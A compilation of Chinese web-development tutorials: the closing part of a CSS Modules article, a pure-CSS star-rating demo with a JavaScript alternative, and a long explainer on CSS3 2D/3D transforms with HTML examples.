这种写法势必会有很多单一功能文件产生，然而通过使用文件系统来管理不同用途的样式比起用命名空间来说要好的多。如果你想要从一个文件中导入多个类样式的话，有一种简单的写法：

/* this short hand: */
.element {
  composes: padding-large margin-small from "./layout.css";
}

/* is equivalent to: */
.element {
  composes: padding-large from "./layout.css";
  composes: margin-small from "./layout.css";
}

这开辟了一种可能，使用**极细粒**的类样式定义一些样式别名去给每一个网站使用：

.article {
  composes: flex vertical centered from "./layout.css";
}

.masthead {
  composes: serif bold 48pt centered from "./typography.css";
  composes: paragraph-margin-below from "./layout.css";
}

.body {
  composes: max720 paragraph-margin-below from "layout.css";
  composes: sans light paragraph-line-height from "./typography.css";
}

我对这种技术非常感兴趣，我觉得，它混合了像 Tachyons 类似的 CSS 原子技术，像 Semantic UI 那样变量分离可读的好处（译者注：就是说 CSS 模块的命名简单易懂，组件复用方便）。

但是 CSS 模块化之路仅仅是刚刚开始，未来我们希望大家能尝试更多为它写出谱写出新的篇章。

翻滚吧！CSS 模块！

我们希望 CSS 模块化能有助于你和你的团队在你们现有的 CSS 和产品的基础上维护代码，让它变得更舒适更高效。我们已经接近可能的把额外的语法减少到最少，并尽量确保语法和现有的变化不大。我们有 Webpack， JSPM 和 Browserify 的示例代码，如果你们使用它们中的其中之一，你们可以参考一二。当然我们也在为 CSS 模块话的使用寻找新的环境：服务端 NodeJS 的支持正在进行，Rails 的支持已经提上议程准备进行了。

但是为了让它变得更简单，我在 Plunker 上制作了一个预览示例，你不用安装任何东西就可以运行它：



这里是 CSS 模块的 Github 仓库地址，如果你有任何问题，请开 issue 提出。CSS 模块团队还很小，我们还没有看到一些有用的例子，欢迎你们给我们投稿。

最后的最后，祝大家开心写样式，幸福每一天！


 纯 CSS 实现星型 ☆ 评级

作者：Yawenina

来源： 纯 CSS 实现星型 ☆ 评级



                    
今天，我们用纯CSS实现⭐️评级。

案例效果



分析：正常情况下为空心的☆，鼠标hover时，变为实心黄色的★.

HTML分析

div.star包裹5个span,每个span的内容为空心的☆.HTML代码如下：

<div class="star">
    <span>☆</span><span>☆</span><span>☆</span><span>☆</span><span>☆</span>
  </div>

CSS分析

1.分析：当我们hover时，我们用实心的★覆盖空心的☆，并给实心的★设置color:gold;.

要覆盖空心的☆，我们要利用为元素::before，并赋予content:'★'.同时为了实现覆盖，而不是在之前添加内容，我们需要为元素设置position:absolute;.

这时，当你hover时，hover的☆就变为实体黄色的⭐️了。

2.接下来，我们要实现当我hover某个☆时，不仅这一个，它前面的☆也都要变为黄色实体的⭐️。
首先，我们要用到通用兄弟选择器~

在使用 ~ 连接两个元素时,它会匹配第二个元素,条件是它必须跟(不一定是紧跟)在第一个元素之后,且他们都有一个共同的父元素 .
比如：div~p就会匹配与div同辈的且在div之后的所有p元素。



当我们hover某个☆时，我们利用通用兄弟选择器使后面的☆也同时变为黄色实体星⭐️。

span:hover::before,
span:hover~span::before{
  content:'★';
  color:gold;
  position:absolute;
} 

这时，当你hover某个☆时，这个及其后面的☆都同时变为黄色实体星⭐️。

3.最后，我们利用unicode-bidi,direction属性，使文本由右向左显示。

The unicode-bidi CSS property together with the direction property relates to the handling of bidirectional text in a document.For example, if a block of text contains both left-to-right and right-to-left text then the user-agent uses a complex Unicode algorithm to decide how to display the text. This property overrides this algorithm and allows the developer to control the text embedding.



这样的话，当我们hover时，还是这个及其后面的☆都同时变为黄色实体星⭐️，但是由于此时从右向左显示，它的后面兄弟元素就变到“前面”来了。

.star{unicode-bidi: bidi-override;direction:rtl;}

对内联元素应用direction时要注意:

For the direction property to have any effect on inline-level elements, the unicode-bidi property's value must be embed or override.



OK. 用纯CSS实现⭐️评级的效果就实现了！

CSS代码如下：

span:hover::before,
span:hover~span::before{
  content:'★';
  color:gold;
  position:absolute;
} 
.star{
  unicode-bidi:bidi-overrride;
  direction:rtl;
}

用 JS 实现评级效果



思路：当元素触发onmouseover事件时，赋予不同的class值。

代码如下：

 <div class="heart">
    <a href="" id="one" class="heart-off"></a>
    <a href="" id="two" class="heart-off"></a>
    <a href="" id="three" class="heart-off"></a>
    <a href="" id="four" class="heart-off"></a>
    <a href="" id="five" class="heart-off"></a>
  </div>

.heart-off,.heart-on,.heart-hover{
  text-decoration:none;
}

.heart-off:before,.heart-on:before,.heart-hover:before{
  content:'\2665';
}
.heart-off{color:rgba(150,150,150,.5);}
.heart-on{color:rgba(255,0,0,.5);}
.heart-hover{color:rgba(255,0,0,1);}

one.onmouseover=function(){
  this.className="heart-hover";
  two.className="heart-off";
  three.className="heart-off";
  four.className="heart-off";
  five.className="heart-off";
};

two.onmouseover=function(){
  this.className="heart-hover";
  one.className="heart-on";
  three.className="heart-off";
  four.className="heart-off";
  five.className="heart-off";
};

three.onmouseover=function(){
  this.className="heart-hover";
  one.className="heart-on";
  two.className="heart-on";
  four.className="heart-off";
  five.className="heart-off";
};

four.onmouseover=function(){
  this.className="heart-hover";
  one.className="heart-on";
  two.className="heart-on";
  three.className="heart-on";
  five.className="heart-off";
};

five.onmouseover=function(){
  this.className="heart-hover";
  one.className="heart-on";
  two.className="heart-on";
  three.className="heart-on";
  four.className="heart-on";
};

参考资料


	字符实体


	字符集


	unicode-bidide 的用法





 CSS3 变换

作者：Chinaxiang

来源： CSS3 变换



                    
概览

CSS3 变换也叫 2D/3D转换，主要包括以下几种：旋转(rotate) 、扭曲 (skew) 、缩放(scale) 和 移动(translate) 以及 矩阵变形(matrix) 。transform 属性常和 transition 一起使用来构造绚丽的过渡动画效果。



本文涉及的内容较多，不太好理解，需要耐心认真阅读。

小试牛刀

<!DOCTYPE html>
<html>
<head>
<style> 
    body {
        margin:60px;
    }

    div.polaroid {
        width:294px;
        padding:10px 10px 20px 10px;
        border:1px solid #BFBFBF;
        background-color:white;
        box-shadow:2px 2px 3px #aaaaaa;
        
        transition: transform 1s;
        -ms-transition: -ms-transform 1s;
        -moz-transition: -moz-transform 1s;
        -webkit-transition: -webkit-transform 1s;
        -o-transition: -o-transform 1s;
    }
    /* 鼠标滑过图片归正 */
    div.polaroid:hover {
        -ms-transform:rotate(0); /* IE 9 */
        -moz-transform:rotate(0); /* Firefox */
        -webkit-transform:rotate(0); /* Safari and Chrome */
        -o-transform:rotate(0); /* Opera */
        transform:rotate(0);
    }

    div.rotate_left {
        float:left;
        -ms-transform:rotate(7deg); /* IE 9 */
        -moz-transform:rotate(7deg); /* Firefox */
        -webkit-transform:rotate(7deg); /* Safari and Chrome */
        -o-transform:rotate(7deg); /* Opera */
        transform:rotate(7deg);
    }

    div.rotate_right {
        float:left;
        -ms-transform:rotate(-8deg); /* IE 9 */
        -moz-transform:rotate(-8deg); /* Firefox */
        -webkit-transform:rotate(-8deg); /* Safari and Chrome */
        -o-transform:rotate(-8deg); /* Opera */
        transform:rotate(-8deg);
    }
</style>
</head>
<body>

<div class="polaroid rotate_left">
    <img src="http://i13.buimg.com/d17ea072b13a1a71.jpg" width="284" height="213" />
    <p class="caption">上海鲜花港的郁金香，花名：Ballade Dream。</p>
</div>

<div class="polaroid rotate_right">
    <img src="http://i13.buimg.com/755395ac04d54cc6.jpg" width="284" height="213" />
    <p class="caption">2010年上海世博会，中国馆。</p>
</div>

</body>
</html>

结合 transition 和 transform 实现的绚丽动画墙效果。

2D 变换

所谓的 2D 变换，就是指在二维平面上的变换，中学学的平面几何。



2D 变换就是围绕 x 轴，y 轴及 原点 组成的平面所做的一些变换。

移动 translate


移动分三种情况，对应transform的三种值。

translate(x, y)

水平方向和垂直方向同时移动（也就是X轴和Y轴同时移动），当值为负数时，反方向移动物体。

transform: translate(<x-value>[, <y-value>]) ;


例如：transform: translate(100px, 20px);



translateX(x)

水平方向上移动。

transform: translateX(100px);




translateY(y)

垂直方向上移动。

transform: translateY(20px);




旋转 rotate


通过指定的角度对元素进行旋转。值为正顺时针旋转，值为负逆时针旋转。

transform: rotate(30deg);




缩放 scale


缩放 scale和移动 translate极其相似，他也具有三种情况，只是参数对应的是缩放的倍数，允许小数、负数。

scale(x, y)

水平和垂直方向上同时进行缩放。

transform: scale(<x-number>[, <y-number>]);


例如： transform: scale(2, 1.5); 宽度是原来的2倍，高度是原来的1.5倍。



接下来我们来体验一下负值的效果。



scaleX(x)

水平方向缩放。

transform: scaleX(2);




scaleY(y)

垂直方向缩放。

transform: scaleY(2);




扭曲 skew


扭曲 skew和 translate、scale一样同样具有三种情况，只是参数值对应的是扭曲的度数。

skew(x, y)

使元素在水平和垂直方向同时扭曲，值为扭曲的度数。

transform: skew(<x-angle> [, <y-angle>]);


例如：transform:skew(30deg, 10deg);



注意上图中的度数偏转，x轴方向的扭曲是拉y轴，y轴方向的扭曲是拉x轴，角度的方向也很古怪，注意记忆。



skewX(x)

在水平方向进行扭曲变行。

transform: skewX(30deg);




skewY(y)

在垂直方向进行扭曲变形。

transform:skewY(10deg);




3D 变换

3D 变换就是在三维环境下的变换，中学时的立体几何。



3D 变换没有扭曲操作，有移动，旋转，缩放。

介绍 3D 变换 之前我们需先介绍跟3D密切相关的4个属性。

透视 perspective


perspective 属性定义 3D 元素距视图的距离，你可以形象的理解为物体距你的距离，以像素计。该属性的存在与否决定了你看到的是2D还是3D，没有透视，不成3D。



透视的使用及是否使用透视的区别会在下面的具体变换中介绍。

透视基点 perspective-origin


透视基点也直接影响透视的结果，形象点说就是透视基点就相当于你站在一个位置看你面前的物体，你可以蹲着看，可以站着看，可以左侧斜着身子看，可以右侧斜着身子看，你的眼睛看的位置不同，可能看到物体的形状就不同。



透视点有默认值 perspective-origin: 50% 50%;, 当为元素定义 perspective-origin 属性时，其子元素会获得相应效果，而不是元素本身。

perspective-origin: x-axis y-axis;


x-axis 可选值：


	left


	center


	right


	length


	%




y-axis 可选值：


	top


	center


	bottom


	length


	%




理解perspective-origin 这样描述的：默认就是所看舞台或元素的中心。有时候，我们对中心的位置是不感兴趣的，希望视线放在其他一些地方。



呈现样式 transform-style


transform-style 属性是3D空间一个重要属性，指定嵌套元素如何在3D空间中呈现。他主要有两个属性值：flat 和preserve-3d。

transform-style: flat | preserve-3d;


其中flat 值为默认值，表示所有子元素在2D平面呈现。preserve-3d 表示所有子元素在3D空间中呈现。

也就是说，如果对一个元素设置了transform-style 的值为flat，则该元素的所有子元素都将被平展到该元素的2D平面中进行呈现而不是它的前面或者后面。如果对一个元素设置了transform-style 的值为preserve-3d ，它表示不执行平展操作，他的所有子元素位于3D空间中。

transform-style 属性需要设置在父元素中。

具体的使用看下面的具体变换。

背面可见 backface-visibility


在现实世界中，你在一张白纸上写下一些字，一般情况下从白纸后面是看不到写的啥的。而在CSS3的3D世界里，默认是可以从白纸的后面看到前面( visible )的内容的。

backface-visibility: visible | hidden;


下面旋转的时候有例子。

移动 translate


3D 移动有 translate3d(x, y, z) 和 translateZ(z) 两个变换函数。当然 2D 移动的那三个也可以应用到 3D 移动。

translate3d(x, y, z)

分别沿x, y, z 三个轴同时移动。

x, y轴的移动比较好理解，translate3d(x, y, 0) 等价于 translate(x, y), z 轴的移动你可以理解为：在你眼前的一个物体向你走来和远去，离你越近（z值越大）你感觉它越大，离你越远（z值越小）你感觉它越小。不过，变大变小是有前提的，就是我们前面说到的 perspective 属性需要指定合适的值。

对比如下实例：

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>JS Bin</title>
  <style type="text/css">
    .s {
        width: 300px;
        height: 300px;
        float: left;
        margin: 15px;
        position: relative;
        background: url(http://i13.buimg.com/42a31a7ad86db39b.jpg) repeat center center;
        
        -webkit-perspective: 1200px;
        -moz-perspective: 1200px;
        -ms-perspective: 1200px;
        -o-perspective: 1200px;
        perspective: 1200px;
    }
    .s3 {
        -webkit-perspective: none;
        -moz-perspective: none;
        -ms-perspective: none;
        -o-perspective: none;
        perspective: none;
    }
    .container {
        position: absolute;
        top: 50%;
        left: 50%;
        
        -webkit-transform-style: preserve-3d;
        -moz-transform-style: preserve-3d;
        -ms-transform-style: preserve-3d;
        -o-transform-style: preserve-3d;
        transform-style: preserve-3d;
    }
    .container img {
        position: absolute;
        margin-left: -35px;
        margin-top: -50px; 
    }
    .container img:nth-child(1){
        z-index: 1;
        opacity: .6;
    }
    .s1 img:nth-child(2){
        z-index: 2;    
        -webkit-transform: translate3d(30px,30px,200px);
        -moz-transform: translate3d(30px,30px,200px);
        -ms-transform: translate3d(30px,30px,200px);
        -o-transform: translate3d(30px,30px,200px);
        transform: translate3d(30px,30px,200px);
    }
    .s2 img:nth-child(2){
        z-index: 2;    
        -webkit-transform: translate3d(30px,30px,-200px);
        -moz-transform: translate3d(30px,30px,-200px);
        -ms-transform: translate3d(30px,30px,-200px);
        -o-transform: translate3d(30px,30px,-200px);
        transform: translate3d(30px,30px,-200px);
    }
    .s3 img:nth-child(2){
        z-index: 2;    
        -webkit-transform: translate3d(30px,30px,200px);
        -moz-transform: translate3d(30px,30px,200px);
        -ms-transform: translate3d(30px,30px,200px);
        -o-transform: translate3d(30px,30px,200px);
        transform: translate3d(30px,30px,200px);
    }
    .c1 {
        -webkit-transform-style: flat;
        -moz-transform-style: flat;
        -ms-transform-style: flat;
        -o-transform-style: flat;
        transform-style: flat;
    }
    .s4 img:nth-child(2){
        z-index: 2;    
        -webkit-transform: translate3d(30px,30px,-200px);
        -moz-transform: translate3d(30px,30px,-200px);
        -ms-transform: translate3d(30px,30px,-200px);
        -o-transform: translate3d(30px,30px,-200px);
        transform: translate3d(30px,30px,-200px);
    }
  </style>
</head>
<body>

<div class="s s1">
    <div class="container">
        <img src="http://i13.buimg.com/ac99ad6b3a13d255.png" alt="" width="70" height="100" />
        <img src="http://i13.buimg.com/ac99ad6b3a13d255.png" alt="" width="70" height="100" />
    </div>
</div>
  
<div class="s s2">
    <div class="container">
        <img src="http://i13.buimg.com/ac99ad6b3a13d255.png" alt="" width="70" height="100" />
        <img src="http://i13.buimg.com/ac99ad6b3a13d255.png" alt="" width="70" height="100" />
    </div>
</div>
<div class="s s3">
    <div class="container">
        <img src="http://i13.buimg.com/ac99ad6b3a13d255.png" alt="" width="70" height="100" />
        <img src="http://i13.buimg.com/ac99ad6b3a13d255.png" alt="" width="70" height="100" />
    </div>
</div>
<div class="s s4">
    <div class="container c1">
        <img src="http://i13.buimg.com/ac99ad6b3a13d255.png" alt="" width="70" height="100" />
        <img src="http://i13.buimg.com/ac99ad6b3a13d255.png" alt="" width="70" height="100" />
    </div>
</div>

</body>
</html>



这个例子包含不少内容，请认真品读。

例子里有四个场景，s3 没有加透视( perspective: none; )，往z 轴移动了，图片没有任何大小变化，s4 的呈现样式为 transform-style: flat; ，图片堆叠在一个平面内。s1 和 s2 既加了透视又设置样式为3D，所以s1 向视点靠近，图片变大，s2向视点远离，图片变小，同时呈现出遮隐效果。

经过这个例子相信你能大概明白 perspective 和 transform-style 的作用了。

translateZ(z)

沿z轴方向移动。

如果你理解了上面的例子，这个自然就明白了。

借此属性，再来说说 perspective. translateZ 的功能就是让元素在自己的眼前或近或远，元素或大或小。不过需要注意的是：当translateZ值非常接近perspective，但不超过的时候，该元素的大小就会撑满整个屏幕（如果父辈元素没有类似overflow:hidden的限制的话）。因为这个时候，子元素正好移到了你的眼睛前面，所谓“一叶蔽目，不见泰山”，就是这么回事。当translateZ值再变大的时候，就看不见了——我们是看不见眼睛后面的东西的！

下图的效果是从 transform: translateZ(-150px); -> transform: translateZ(200px); 的效果。视距为150px



旋转 rotate


2D 旋转比较简单，只有一个函数，围绕一点旋转多少度即可，而3D 旋转要复杂的多，毕竟在三维空间了。

rotateX(angle)

x为旋转轴旋转指定的度数。

基本类似下图的旋转。



transform: translate(30px) rotateX(30deg);




rotateY(angle)

y为旋转轴旋转指定的度数。

基本类似下图的旋转。



transform: translate(0, 30px) rotateY(45deg);




rotateZ(angle)

z为旋转轴旋转指定的度数。从效果上来看，其实它和2D 变换的 rotate(angle) 完全一致。

transform: rotateZ(45deg);
transform: rotate(45deg);




rotate3d(x, y, z, angle)

除了上面的三个外，还有一个 rotate3d.

我们知道 rotateX 是以x轴为旋转轴， rotateY是以y轴为旋转轴， rotateZ 是以z轴为旋转轴，如果我不想以这三个轴为旋转轴呢？这时我们的 rotate3d 就派上用场了。

中学我们学过向量（空间向量），[x, y, z] 三个向量可以确定一个空间向量，向量是有方向和大小的，三个值的范围均是 [-1 1], 例如：x=1 表示x轴正方向，x=-1 表示x轴反方向。


	rotateX(a)函数功能等同于 rotate3d(1,0,0,a)


	rotateY(a)函数功能等同于 rotate3d(0,1,0,a)


	rotateZ(a)函数功能等同于 rotate3d(0,0,1,a)




下面的测试可以看出正负值的区别。



再看一下 rotate3d(1, 1, 1, 45deg) 和 rotate3d(-1, -1, -1, 45deg) 的。



你只要有一定的空间想象能力，能确定旋转轴位置，就能差不多想通它的变换，实在不行，拿一张扑克用手转转。

注： 本属性的效果中我没有添加transform-style: preserve-3d; 你实践的时候记得添上，并再次体会 flat 和 preserve-3d 的区别。

学完了旋转，我们继续来探讨上面提到的几个相关属性。

backface-visibility



此属性用来设置元素是否透明，默认是透明的。下面举例对比。

backface-visibility: visible;
transform: translate3d(30px,30px,200px) rotateY(0deg);/*从0不断增加*/




backface-visibility: hidden;
transform: translate3d(30px,30px,200px) rotateY(0deg);/*从0不断增加*/




perspective



perspective属性有两种书写形式，一种用在舞台元素上（动画元素们的共同父辈元素）；第二种就是用在当前动画元素上，与transform的其他属性值写在一起。

.stage {
    perspective: 300px;
}
.stage .box {
    transform: perspective(300px) rotateY(45deg);
}


关于两者的区别，可以用下面的示例来区分。

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>JS Bin</title>
  <style type="text/css">
    .stage {
        width: 900px;
        height: 100px;
        margin-left: auto;
        margin-right: auto;
        padding: 100px 50px;
        background-color: #f0f0f0;
        position: relative;
        transform-style: preserve-3d;
    }
    .s1 {
        perspective: 300px;
    }
    .box {
        width:100px;
        height:100px;
        float: left;
        padding:10px;
        box-sizing: border-box;
    }
    .s2 .box {
        transform: perspective(300px) rotateY(45deg);
    }
    .s1 .box {
        transform: rotateY(45deg);
    }
    .b1{background-color: rgba(51, 204, 117, 0.74902);}
    .b2{background-color: rgba(204, 81, 51, 0.74902);}
    .b3{background-color: rgba(51, 81, 204, 0.74902);}
    .b4{background-color: rgba(81, 51, 117, 0.74902);}
    .b5{background-color: rgba(51, 81, 117, 0.74902);}
    .b6{background-color: rgba(117, 204, 81, 0.74902);}
    .b7{background-color: rgba(51, 108, 81, 0.74902);}
    .b8{background-color: rgba(204, 51, 117, 0.74902);}
    .b9{background-color: rgba(81, 117, 51, 0.74902);}
    
  </style>
</head>
<body>

<div class="stage s1">
    <div class="box b1"></div>
    <div class="box b2"></div>
    <div class="box b3"></div>
    <div class="box b4"></div>
    <div class="box b5"></div>
    <div class="box b6"></div>
    <div class="box b7"></div>
    <div class="box b8"></div>
    <div class="box b9"></div>
</div>
<hr>
<div class="stage s2">
    <div class="box b1"></div>
    <div class="box b2"></div>
    <div class="box b3"></div>
    <div class="box b4"></div>
    <div class="box b5"></div>
    <div class="box b6"></div>
    <div class="box b7"></div>
    <div class="box b8"></div>
    <div class="box b9"></div>
</div>


</body>
</html>



上面是设置在舞台元素上，下面是设置在每个元素上。图中的效果其实不难理解。上面舞台整个作为透视元素，因此，显然，我们看到的每个子元素的形体都是不一样的；而下面，每个元素都有一个自己的视点，因此，显然，因为rotateY的角度是一样的，因此，看上去的效果也就一模一样了！

上面的第8个元素不见了，这不难理解，前面一排门，每个门都是1米宽，你距离门3米，显示，当所有门都开了45°角的时候，此时，距离中间门右侧的第三个门正好与你的视线平行，这个门的门面显然就什么也看不到。

缩放 scale


3D变形中的缩放主要有 scaleZ(z) 和 scale3d(x,y,z) 两种函数。

scaleZ(z)

2D 环境下的缩放比较好理解，元素进行相应的放大缩小即可，而3D 环境下涉及到z 轴的缩放，z 轴的缩放很奇怪，至今没有想太透彻，只是简单的实践实践。有晓得的留言告知，后期想透彻了再更新此处。

我进行了若干种情况的实践。

一，单独使用 scaleZ ,发现无论如何改变缩放值，都没有任何变化。

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>JS Bin</title>
  <style type="text/css">
    .wrapper {
        float: left;
        perspective: 300px;
        transform-style: preserve-3d;
    }
    .cube {
        font-size: 4em;
        width: 2em;
        margin: 1.5em auto;
        perspective: 300px;
        transform-style: preserve-3d;
    }
    .c2 {
        margin-left: 50px;
        // 不断调整此处的值，看不出任何变化。
        transform: scaleZ(2);
    }
    .side {
        position: relative;
        width: 2em;
        height: 2em;
        background: rgba(255, 99, 71, 0.6);
        border: 1px solid rgba(0, 0, 0, 0.5);
        color: white;
        text-align: center;
        line-height: 2em;
    }
    .front {
        //transform: translateZ(1em);
    }
  </style>
</head>
<body>

<div class="wrapper w1" style="margin-left:150px;">
    <div class="cube">
        <div class="side front">1</div>
    </div>
</div>
<div class="wrapper w2">
    <div class="cube c2">
        <div class="side front">2</div>
    </div>
</div>

</body>
</html>

二，让子元素.front进行3D变换，这时调整值，可以看出缩放效果。

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>JS Bin</title>
  <style type="text/css">
    .wrapper {
        float: left;
        perspective: 300px;
        transform-style: preserve-3d;
    }
    .cube {
        font-size: 4em;
        width: 2em;
        margin: 1.5em auto;
        perspective: 300px;
        transform-style: preserve-3d;
    }
    .c2 {
        margin-left: 50px;
        transform: scaleZ(2);
    }
    .side {
        position: relative;
        width: 2em;
        height: 2em;
        background: rgba(255, 99, 71, 0.6);
        border: 1px solid rgba(0, 0, 0, 0.5);
        color: white;
        text-align: center;
        line-height: 2em;
    }
    .front {
        transform: translateZ(1em);
    }
  </style>
</head>
<body>

<div class="wrapper w1" style="margin-left:150px;">
    <div class="cube">
        <div class="side front">1</div>
    </div>
</div>
<div class="wrapper w2">
    <div class="cube c2">
        <div class="side front">2</div>
    </div>
</div>

</body>
</html>

三，取消.front的变换，将变换应用到.c2上并置于缩放前，改变缩放值，没有任何变化。

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>JS Bin</title>
  <style type="text/css">
    .wrapper {
        float: left;
        perspective: 300px;
        transform-style: preserve-3d;
    }
    .cube {
        font-size: 4em;
        width: 2em;
        margin: 1.5em auto;
        perspective: 300px;
        transform-style: preserve-3d;
    }
    .c2 {
        margin-left: 50px;
        transform: translateZ(1em) scaleZ(2);
    }
    .side {
        position: relative;
        width: 2em;
        height: 2em;
        background: rgba(255, 99, 71, 0.6);
        border: 1px solid rgba(0, 0, 0, 0.5);
        color: white;
        text-align: center;
        line-height: 2em;
    }
    .front {
        //transform: translateZ(1em);
    }
  </style>
</head>
<body>

<div class="wrapper w1" style="margin-left:150px;">
    <div class="cube">
        <div class="side front">1</div>
    </div>
</div>
<div class="wrapper w2">
    <div class="cube c2">
        <div class="side front">2</div>
    </div>
</div>

</body>
</html>

四，调换移动和缩放的位置，再改变缩放的值，可以看出变化。

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>JS Bin</title>
  <style type="text/css">
    .wrapper {
        float: left;
        perspective: 300px;
        transform-style: preserve-3d;
    }
    .cube {
        font-size: 4em;
        width: 2em;
        margin: 1.5em auto;
        perspective: 300px;
        transform-style: preserve-3d;
    }
    .c2 {
        margin-left: 50px;
        transform: scaleZ(2) translateZ(1em);
    }
    .side {
        position: relative;
        width: 2em;
        height: 2em;
        background: rgba(255, 99, 71, 0.6);
        border: 1px solid rgba(0, 0, 0, 0.5);
        color: white;
        text-align: center;
        line-height: 2em;
    }
    .front {
        //transform: translateZ(1em);
    }
  </style>
</head>
<body>

<div class="wrapper w1" style="margin-left:150px;">
    <div class="cube">
        <div class="side front">1</div>
    </div>
</div>
<div class="wrapper w2">
    <div class="cube c2">
        <div class="side front">2</div>
    </div>
</div>

</body>
</html>

五，改变transform-origin（下面会介绍此属性）的默认值，再改变缩放值也可以看出变化。

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>JS Bin</title>
  <style type="text/css">
    .wrapper {
        float: left;
        perspective: 300px;
        transform-style: preserve-3d;
    }
    .cube {
        font-size: 4em;
        width: 2em;
        margin: 1.5em auto;
        perspective: 300px;
        transform-style: preserve-3d;
    }
    .c2 {
        margin-left: 50px;
        transform-origin: 0 0 100px;
        transform: scaleZ(2);
    }
    .side {
        position: relative;
        width: 2em;
        height: 2em;
        background: rgba(255, 99, 71, 0.6);
        border: 1px solid rgba(0, 0, 0, 0.5);
        color: white;
        text-align: center;
        line-height: 2em;
    }
    .front {
        //transform: translateZ(1em);
    }
  </style>
</head>
<body>

<div class="wrapper w1" style="margin-left:150px;">
    <div class="cube">
        <div class="side front">1</div>
    </div>
</div>
<div class="wrapper w2">
    <div class="cube c2">
        <div class="side front">2</div>
    </div>
</div>

</body>
</html>

你看懂3D 缩放了吗？

scale3d(x,y,z)

此属性值不再多介绍，x, y, z 同scaleX(x), scaleY(y), scaleZ(z)。

transform-origin

transform-origin 是用来设置变换基点的属性，所谓变换基点即变换的参照点，上面之所以没有说，是因为其有默认值是元素的中心点，并且可以用来设置2D变换和3D变换的基点。



平移操作不受基点位置的影响，旋转，缩放，扭曲都跟基点有关联。

例如：按元素中心旋转45度和按左上角旋转45度。



更改基点很好掌握，其属性值可以是百分比、em、px等具体的值，也可以是top、right、bottom、left和center这样的关键词。

具体语法如下：

/*只设置一个值的语法*/
transform-origin: x-offset
transform-origin:offset-keyword
/*设置两个值的语法*/
transform-origin：x-offset  y-offset
transform-origin：y-offset  x-offset-keyword
transform-origin：x-offset-keyword  y-offset
transform-origin：x-offset-keyword  y-offset-keyword
transform-origin：y-offset-keyword  x-offset-keyword
/*设置三个值的语法*/
transform-origin：x-offset  y-offset  z-offset
transform-origin：y-offset  x-offset-keyword  z-offset
transform-origin：x-offset-keyword  y-offset  z-offset
transform-origin：x-offset-keyword  y-offset-keyword  z-offset
transform-origin：y-offset-keyword  x-offset-keyword  z-offset


对上述的值简述如下：


	x-offset：用来设置transform-origin水平方向Ｘ轴的偏移量，可以使用<length>和<percentage>值，同时也可以是正值（从中心点沿水平方向Ｘ轴向右偏移量），也可以是负值（从中心点沿水平方向Ｘ轴向左偏移量）。


	offset-keyword：是top、right、bottom、left或center中的一个关键词。


	y-offset：用来设置transform-origin属性在垂直方向Ｙ轴的偏移量，可以使用<length>和<percentage>值，同时可以是正值（从中心点沿垂直方向Ｙ轴向下的偏移量），也可以是负值（从中心点沿垂直方向Ｙ轴向上的偏移量）。


	x-offset-keyword：是left、right或center中的一个关键词，可以用来设置transform-origin属性值在水平Ｘ轴的偏移量。


	y-offset-keyword：是top、bottom或center中的一个关键词，可以用来设置transform-origin属性值在垂直方向Ｙ轴的偏移量。


	z-offset：用来设置3D变形中transform-origin远离用户眼睛视点的距离，默认值z=0，其取值可以<length>，不过<percentage>在这里将无效。




看上去transform-origin取值与background-position取值类似。


	top = top center = center top = 50% 0


	right = right center = center right = 100%或(100% 50%)


	bottom = bottom center = center bottom = 50% 100%


	left = left center = center left = 0或(0 50%)


	center = center center = 50%或（50% 50%）


	top left = left top = 0 0


	right top = top right = 100% 0


	bottom right = right bottom = 100% 100%


	bottom left = left bottom = 0 100%




变换基点作用在当前元素上。

矩阵变换 matrix


矩阵变换既可以进行2D变换，又可以进行3D变换，上面所有的变换都可以通过矩阵变换来实现，换句话说，上面介绍的变换都是矩阵变换的某个特例。

下面的内容是考验你几何数学的时候了。

CSS 中使用 4x4 矩阵表示变换。



矩阵中全是数（整数或小数，或者正数、负数和零），数字对于我们的显示器来说，你可以理解为像素值。

变换是建立在平面或空间上的，数字自然而然的可以对应坐标值。

既然引入了坐标系，你自然而然的想到坐标原点，没错，就是transform-origin这厮。

2D 变换的矩阵函数是：matrix(a, b, c, d, e, f),对应的矩阵如下图。



3D 变换的矩阵函数是：matrix3d(m11,m12,m13,m14,m21,m22,m23,m24,m31,m32,m33,m34,m41,m42,m43,m44)

下面罗列上述变换对应的矩阵原型：

移动 translate


3D 移动的矩阵原型为：



matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,x,y,z,1)

2D 移动的原型就是上面的 tz=0 的情况。

matrix(1, 0, 0, 1, x, y)

缩放 scale


3D 缩放的矩阵原型为：



matrix3d(sx,0,0,0,0,sy,0,0,0,0,sz,0,0,0,0,1)

2D 移动的原型就是上面的 sz=1 的情况。

matrix(sx, 0, 0, sy, 0, 0)

旋转 rotate


3D 旋转的矩阵原型为：



旋转轴由向量 [x, y, z] 定义。在上面的 rotate3d 中介绍了。



α 为旋转的角度。

2D 旋转其实就是绕着 z 轴转，即向量 [0, 0, 1].

对应的 matrix 自己写去吧。

扭曲 skew


扭曲只有2D 扭曲。



skew(αdeg, βdeg)

只沿x轴扭曲，β=0,只沿y轴扭曲，α=0.

视距 perspective


视距也有对应的矩阵。



矩阵的运算

所有的变换都是建立在2D或3D空间中，其实也可以完全理解成3D空间（3D包含2D嘛，z轴为0不就是2D嘛）。

所有的变换理解成坐标运算就容易理解多了。

看一下矩阵乘法的定义吧：



下面以3D 移动为例演示矩阵的运算。



原坐标从 (a,b,c) 变到 (a+x,b+y,c+z).

总结

我们从直观和精确计算深入探讨了CSS3 变换的各种情况，相信你对变换已经有了一定的了解。

2D 变换除了扭曲稍微绕点，其他的都比较好理解。3D变换没有扭曲，3D旋转稍微复杂点，不过也好理解，3D缩放没有透彻理顺，谁知道请明示一下。

变换涉及到的四个属性。

perspective 设置舞台元素（变换元素的父元素），理解为人到舞台的距离。

transform-style 也是设置在父元素，控制子元素是在二维平面还是三维空间。

transform-origin 作用在变换元素上，控制变换的基点（坐标原点）。

backface-visibility 作用在变换元素上，指示变换元素旋转180度背面是否可见。

这篇文章耽搁的太久了，先这样发吧。有关于3D 缩放的记得留言讨论。
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 用纯CSS实现优雅的tab页

